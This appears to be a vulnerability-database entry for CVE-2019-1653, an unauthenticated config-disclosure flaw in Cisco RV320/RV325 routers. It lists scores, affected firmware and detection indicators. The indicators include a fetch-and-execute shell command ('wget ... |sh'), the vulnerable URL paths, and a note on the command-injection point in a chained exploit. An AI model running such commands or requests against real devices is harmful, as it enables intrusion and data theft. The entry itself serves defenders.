cbcvebase.
CVE-2019-1653
published 2019-01-24

CVE-2019-1653: A vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an unauthenticated…

PriorityP190high7.5CVSS 3.1
AVNACLPRNUINSUCHINAN
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2022-05-03
Exploited in the wild
EPSS
99.88%
100.0th percentile
A vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an unauthenticated, remote attacker to retrieve sensitive information. The vulnerability is due to improper access controls for URLs. An attacker could exploit this vulnerability by connecting to an affected device via HTTP or HTTPS and requesting specific URLs. A successful exploit could allow the attacker to download the router configuration or detailed diagnostic information. Cisco has released firmware updates that address this vulnerability.

Affected

6 ranges
VendorProductVersion rangeFixed in
ciscorv320_firmware
ciscorv320_firmware
ciscorv325_firmware
ciscorv325_firmware
ciscosmall_business_rv320_and_rv325_routers
maipump1800x-50_firmware

Detection & IOCsextracted from sources · hover to see the quote

url/cgi-bin/config.exp
url/cgi-bin/userLogin.cgi
port8007
port443
commandwget -q -O- <payload_url>|sh
  • Alert on POST requests to /certificate_handle2.htm with a 'common_name' parameter containing shell metacharacters (e.g., $(...)) — this is the command injection delivery point used in the chained RCE exploit.
  • Flag inbound HTTP traffic on port 8007 targeting Cisco RV320/RV325 management interfaces — older firmware versions expose the web management interface on this non-standard port.
  • Scan internet-facing Cisco RV320/RV325 devices for firmware versions 1.4.2.15 through 1.4.2.19 (for CVE-2019-1653) — devices on these versions are vulnerable to unauthenticated config download.
  • ·The initial Cisco patch (firmware 1.4.2.19 for CVE-2019-1653) was confirmed incomplete by RedTeam Pentesting GmbH; over 8,000 devices remained vulnerable after patching. Full remediation requires firmware 1.4.2.22.

CVSS provenance

nvdv3.17.5HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
nvdv3.07.5HIGHCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:P/I:N/A:N
vulncheck7.5HIGH
cisa7.5HIGH
vendor_cisco7.5HIGH
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